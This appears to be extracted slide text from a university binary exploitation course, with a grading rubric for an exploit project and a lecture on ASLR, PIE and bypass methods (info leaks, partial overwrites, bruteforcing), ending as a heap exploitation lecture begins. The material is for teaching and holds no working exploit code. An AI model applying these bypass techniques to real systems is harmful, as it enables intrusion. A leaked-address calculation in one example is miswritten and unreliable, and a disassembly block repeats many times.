____ / 5pts - **Checkpoint One**
- Submitted Checkpoint one by Tuesday 1:59pm, March 17th

____ / 10pts - **Hijacking Control Flow**
- What can you / should you overwrite to get control of execution?
- Can arbitrarily set EIP

____ / 10pts - **Shellcoding**
- What constraints did your shellcode have to account for?
- Shellcode successfully pops privileged shell, or prints the .pass file

____ / 10pts - **Exploit Automation**
- Is your exploit 100% automated?
  - Can I run a single command/script (python, bash, etc) and get the flag?
- Degree of usability and portability otherwise

____ / 20pts - **CTF Style Writeup**
- Goes into sufficient details regarding all of the above points
- Readability - Is it fun and easy to read? Visually interesting?
  - Use of images, code snippets, or diagrams might help

_____ / 100pts - **Final Grade**

Address Space Layout Random Randomization

Modern Binary Exploitation
CSCI 4968 - Spring 2015
Patrick Biernat

Lecture Overview

1. Introducing ASLR
2. Position Independent Executables
3. Bypassing ASLR, Examples
4. Conclusion

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Modern Exploit Mitigations

- Theres a number of modern exploit mitigations that we've generally been turning off for the labs and exercises
  - DEP
  - ASLR
  - Stack Canaries
  - … ?

Modern Exploit Mitigations

- Theres a number of modern exploit mitigations that we've generally been turning off for the labs and exercises
  - DEP
  - ASLR
  - Stack Canaries
  - … ?
- We turned on DEP and introduced ROP last lab

Modern Exploit Mitigations

- Theres a number of modern exploit mitigations that we've generally been turning off for the labs and exercises
  - DEP
  - ASLR
  - Stack Canaries
  - … ?
- We turned on DEP and introduced ROP last lab
- Today we turn ASLR back on for the remainder of the course

What is ASLR?

A: Address

S: Space

L: Layout

R: Randomization

Course Terminology

- Address Space Layout Randomization
  - An exploit mitigation technology used to ensure that address ranges for important memory segments are random for every execution
  - Meant to mitigate exploits leveraging hardcoded stack, heap, code, libc addresses
  - Known as ASLR for short

Runtime Process Without ASLR

0x00000000 – Start of memory

0x08049290 - 0x0805033c (R-X)

0x08050360 - 0x08051208 (R--)

0x08055000 - 0x08076000 (RW-)

0xb7e25000 - 0xb7fcd000

0xbffdf000 - 0xc0000000 (RW-)

0xFFFFFFFF – End of memory

Run #1 Without ASLR

0x00000000 – Start of memory

0x08049290 - 0x0805033c (R-X)

0x08050360 - 0x08051208 (R--)

0x08055000 - 0x08076000 (RW-)

0xb7e25000 - 0xb7fcd000

0xbffdf000 - 0xc0000000 (RW-)

0xFFFFFFFF – End of memory

Run #2 Without ASLR

0x00000000 – Start of memory

0x08049290 - 0x0805033c (R-X)

0x08050360 - 0x08051208 (R--)

0x08055000 - 0x08076000 (RW-)

0xb7e25000 - 0xb7fcd000

0xbffdf000 - 0xc0000000 (RW-)

0xFFFFFFFF – End of memory

Run #3 Without ASLR

0x00000000 – Start of memory

0x08049290 - 0x0805033c (R-X)

0x08050360 - 0x08051208 (R--)

0x08055000 - 0x08076000 (RW-)

0xb7e25000 - 0xb7fcd000

0xbffdf000 - 0xc0000000 (RW-)

0xFFFFFFFF – End of memory

ya so, nothing changes...

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Runtime Process Without ASLR

0x00000000 – Start of memory

0x08049290 - 0x0805033c (R-X)

0x08050360 - 0x08051208 (R--)

0x08055000 - 0x08076000 (RW-)

0xb7e25000 - 0xb7fcd000

0xbffdf000 - 0xc0000000 (RW-)

0xFFFFFFFF – End of memory

Run #1 With ASLR

0x00000000 – Start of memory

0x08049290 - 0x0805033c (R-X)

0x08050360 - 0x08051208 (R--)

0x244b9000 - 0x24661000

0x7fa54000 - 0x7fa75000 (RW-)

0x98429000 - 0x9844a000 (RW-)

0xFFFFFFFF – End of memory

Run #2 With ASLR

0x00540000 - 0x006e8000

0x08049290 - 0x0805033c (R-X)

0x08050360 - 0x08051208 (R--)

0x10962000 - 0x10983000 (RW-)

0xa07ee000 - 0xa080f000 (RW-)

0xFFFFFFFF – End of memory

Run #3 With ASLR

0x00000000 – Start of memory

0x08049290 - 0x0805033c (R-X)

0x08050360 - 0x08051208 (R--)

0x094fb000 - 0x0951c000 (RW-)

0x43db2000 - 0x43dd3000 (RW-)

0xbf8c3000 - 0xbf8e4000

0xFFFFFFFF – End of memory

ASLR in Action

> Open up a terminal.

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

ASLR in Action

> Open up a terminal.

> Type “cat /proc/self/maps”

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

ASLR in Action

> Open up a terminal.

> Type “cat /proc/self/maps”

> Repeat a few times :)

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

ASLR in Action

> Open up a terminal.

> Type "cat /proc/self/maps"

> Repeat a few times :)

You'll see lots of lines like this:

bfe49000-bfe6a000 rw-p 00000000 00:00 0 [stack]

...

bfa23000-bfa44000 rw-p 00000000 00:00 0 [stack]

...

bfdab000-bfdcc000 rw-p 00000000 00:00 0 [stack]

ASLR in Action

> Open up a terminal.

> Type “cat /proc/self/maps”

> Repeat a few times :)

- Stack Address Changes

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

ASLR in Action

> Open up a terminal.

> Type “cat /proc/self/maps”

> Repeat a few times :)

- Stack Address Changes
- Heap Address Changes

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

ASLR in Action

> Open up a terminal.

> Type "cat /proc/self/maps"

> Repeat a few times :)

- Stack Address Changes
- Heap Address Changes
- Library Addresses Change

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

ASLR Basics

- Memory segments are no longer in static address ranges, rather they are unique for every execution

ASLR Basics

- Memory segments are no longer in static address ranges, rather they are unique for every execution
- A simple stack smash may get you control of EIP, but what does it matter if you have no idea where you can go with it?

ASLR Basics

- Memory segments are no longer in static address ranges, rather they are unique for every execution
- A simple stack smash may get you control of EIP, but what does it matter if you have no idea where you can go with it?
  - The essence of ASLR
- You must work with no expectation of where anything is in memory anymore

History of ASLR

- When was ASLR implemented?
  - May 1st, 2004 - OpenBSD 3.5 (mmap)
  - June 17th, 2005 - Linux Kernel 2.6.12 (stack, mmap)
  - January 30th, 2007 - Windows Vista (full)
  - October 26th, 2007 - Mac OSX 10.5 Leopard (sys libraries)
  - October 21st, 2010 - Windows Phone 7 (full)
  - March 11th, 2011 - iPhone iOS 4.3 (full)
  - July 20th, 2011 - Mac OSX 10.7 Lion (full)

History of ASLR

- When was ASLR implemented?
  - May 1st, 2004 - OpenBSD 3.5 (mmap)
  - June 17th, 2005 - Linux Kernel 2.6.12 (stack, mmap)
  - January 30th, 2007 - Windows Vista (full)
  - October 26th, 2007 - Mac OSX 10.5 Leopard (sys libraries)
  - October 21st, 2010 - Windows Phone 7 (full)
  - March 11th, 2011 - iPhone iOS 4.3 (full)
  - July 20th, 2011 - Mac OSX 10.7 Lion (full)

perspective: markus is accepted to RPI

Reminder:

Security is rapidly evolving

Checking for ASLR

```
$ cat /proc/sys/kernel/randomize_va_space
```

Checking for ASLR

```
$ cat /proc/sys/kernel/randomize_va_space
2
```

Checking for ASLR

```
$ cat /proc/sys/kernel/randomize_va_space
2
```

0: No ASLR

1: Conservative Randomization

(Stack, Heap, Shared Libs, PIE, mmap(), VDRO)

2: Full Randomization

(Conservative Randomization + memory managed via brk())

Lecture Overview

1. Introducing ASLR
2. Position Independent Executables
3. Bypassing ASLR, Examples
4. Conclusion

ELF's and ASLR

On Linux, not everything is randomized...

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Runtime Process With ASLR

0x00000000 – Start of memory

0x08049290 - 0x0805033c (R-X)

0x08050360 - 0x08051208 (R--)

0x08055000 - 0x08076000 (RW-)

0xb7e25000 - 0xb7fcd000

0xbffdf000 - 0xc0000000 (RW-)

0xFFFFFFFF – End of memory

Run #1 With ASLR

0x00000000 – Start of memory

0x08049290 - 0x0805033c (R-X)

wat r u doin ELF

0x08050360 - 0x08051208 (R--)

0x244b9000 - 0x24661000

0x7fa54000 - 0x7fa75000 (RW-)

0x98429000 - 0x9844a000 (RW-)

0xFFFFFFFF – End of memory

Run #2 With ASLR

0x00540000 - 0x006e8000

0x08049290 - 0x0805033c (R-X)

plz ELF...

0x08050360 - 0x08051208 (R--)

0x10962000 - 0x10983000 (RW-)

0xa07ee000 - 0xa080f000 (RW-)

0xFFFFFFFF – End of memory

Run #3 With ASLR

0x00000000 – Start of memory

0x08049290 - 0x0805033c (R-X)

stahppp q_q

0x08050360 - 0x08051208 (R--)

0x094fb000 - 0x0951c000 (RW-)

0x43db2000 - 0x43dd3000 (RW-)

0xbf8c3000 - 0xbf8e4000

0xFFFFFFFF – End of memory

Not Randomized

- Main ELF Binary
  - .text / .plt / .init / .fini - Code Segments (R-X)
  - .got / .got.plt / .data / .bss - Misc Data Segments (RW-)
  - .rodata - Read Only Data Segment (R--)

- At minimum, we can probably find some ROP gadgets!
  - Warning: They won't be pretty gadgets

Course Terminology

- Position Independent Executable
  - Executables compiled such that their base address does not matter, ‘position independent code’
  - Shared Libs /must/ be compiled like this on modern Linux
    - eg: libc
  - Known as PIE for short

Applying ASLR to ELF's

- To make an executable position independent, you must compile it with the flags -pie -fPIE

```
$ gcc -pie -fPIE -o tester tester.c
```

Applying ASLR to ELF's

- To make an executable position independent, you must compile it with the flags -pie -fPIE

```
$ gcc -pie -fPIE -o tester tester.c
```

- Without these flag, you are not taking full advantage of ASLR

Checking for PIE

- Most binaries aren't actually compiled as PIE

```
doom@ubuntu:~$ checksec --file /bin/bash
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   /bin/bash
doom@ubuntu:~$ checksec --file /bin/ping
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   /bin/ping
doom@ubuntu:~$ checksec --file /usr/sbin/sshd
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   /usr/sbin/sshd
doom@ubuntu:~$
doom@ubuntu:~$
```

- Generally only on remote services, as you don't want your server to get owned

Lecture Overview

1. Introducing ASLR
2. Position Independent Executables
3. Bypassing ASLR, Examples
4. Conclusion

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Bypassing ASLR

- Assume you can get control of EIP
- What information does ASLR deprive us of?

Bypassing ASLR

- Assume you can get control of EIP
- What information does ASLR deprive us of?
  - You don't know the address of ANYTHING

Bypassing ASLR

- Assume you can get control of EIP
- What information does ASLR deprive us of?
  - You don't know the address of ANYTHING
- How can we get that information?
  - Or work around it?

Bypassing ASLR

- There's a few common ways to bypass ASLR
  - Information disclosure (aka info leak)
  - Partial address overwrite + Crash State
  - Partial address overwrite + Bruteforce

What are Info Leaks?

- An info leak is when you can extract meaningful information (such as a memory address) from the ASLR protected service or binary
- If you can leak any sort of pointer to code during your exploit, you have likely defeated ASLR
  - Why is a single pointer leak so damning?

Death by Pointer

Runtime Memory! … or the North Pacific Ocean

Death by Pointer

Runtime Memory! … or the North Pacific Ocean

The ocean is so vast and empty, but once you get a pointer to Hawaii...

Death by Pointer

Runtime Memory! … or the North Pacific Ocean

The ocean is so vast and empty, but once you get a pointer to Hawaii...

executable code!

Death by Pointer

Death by Pointer

Everything becomes relative

A single pointer into a memory segment, and you can compute the location of everything around it

- Functions
- Gadgets
- Data of Interest

Using Info Leaks

By Example:

-You have a copy of the libc binary, ASLR is on

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Using Info Leaks

By Example:

-You have a copy of the libc binary, ASLR is on

-You've leaked a pointer off the stack to `printf()`

```
printf() is @ 0xb7e72280
```

Using Info Leaks

By Example:

-You have a copy of the libc binary, ASLR is on

-You've leaked a pointer off the stack to printf()

```
printf() is @ 0xb7e72280
```

-Look at the libc binary, how far away is system() from printf()?

```
system() is -0xD0F0 bytes away from printf()
```

Using Info Leaks

By Example:

-You have a copy of the libc binary, ASLR is on

-You've leaked a pointer off the stack to printf()

```
printf() is @ 0xb7e72280
```

-Look at the libc binary, how far away is system() from printf()?

```
system() is -0xD0F0 bytes away from printf()
```

```
therefore system() is at @ 0xb7e65190
                          (0xb7e65190-0xD0F0)
```

/levels/lecture/aslr/aslr_leak1

ssh lecture@warzone.rpis.ec 22

Fully Position Independent Executable:

gcc -pie -fPIE -fno-stack-protector ./aslr_leak1.c

Force it to execute the “i_am_rly_leet” function

/levels/lecture/aslr/aslr_leak2

```
ssh lecture@warzone.rpis.ec 22
```

The exercise is equally as small and dirty as the last one, but this is typically how an infoleak might appear in the wild.

Can you parse it? Build a ROP chain based off it?

Using Info Leaks

- Can be used on hardest scenario of PIE, full ASLR
  - Usually comes with 100% exploit reliability!
  - ‘it just works’

- Info leaks are the most used ASLR bypass in real world exploitation as they give assurances
  - Someone’s life might depend on your exploit landing

Partial Overwrites

- Assume you have no way to leak an address, but you can overwrite one

from multiple runs:

```
0xb756b132
0xb758e132
0xb75e5132
0xb754d132
0xb75cf132
```

Guaranteed 255 byte ROP/ret range around that address

2^4 bits of bruteforce gives you 64kb of range around the addr

2^{12} bits of bruteforce will give you ROP/ret across all of libc

Partial Overwrites

- Assume you have no way to leak an address, but you can overwrite one

  from multiple runs:

  0xb756b132
  0xb758e132
  0xb75e5132
  0xb754d132
  0xb75cf132

100% exploit reliability

6.25% exploit reliability

0.024% exploit reliability

Bruteforcing

- Note that these bruteforcing details apply only to Ubuntu 32bit
- Don’t bother to try bruteforcing addresses on a 64bit machine of any kind
- Ubuntu ASLR is rather weak, low entropy

ASLR Tips

- What does your crash state look like?
  - What's in the registers?
  - What's on the stack around you?
- Even if you can't easily leak some data address out of a register or off the stack, there's nothing that's stopping you from using it for stuff
  - As always: get creative

Lecture Overview

1. Introducing ASLR
2. Position Independent Executables
3. Bypassing ASLR, Examples
4. Conclusion

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

In Closing

- Like other mitigation technologies, ASLR is a 'tack on' solution that only makes things harder
- The vulnerabilities and exploits become both more complex and precise the deeper down the rabbit hole we go

Modern Exploit Mitigations

- DEP & ASLR are the two main pillars of modern exploit mitigation technologies
- Congrats, being able to bypass these mean that you're probably capable of writing exploits for real vulnerabilities

Heap Exploitation

Modern Binary Exploitation

CSCI 4968 - Spring 2015

Markus Gaasedelen

Lecture Overview

- Heap Overview
- Heap Exploitation
  - Heap Overflows
  - Use After Free
  - Heap Spraying
  - Metadata Corruption

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

HEAP OVERVIEW

Basic overview on dynamic memory and heap structure

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
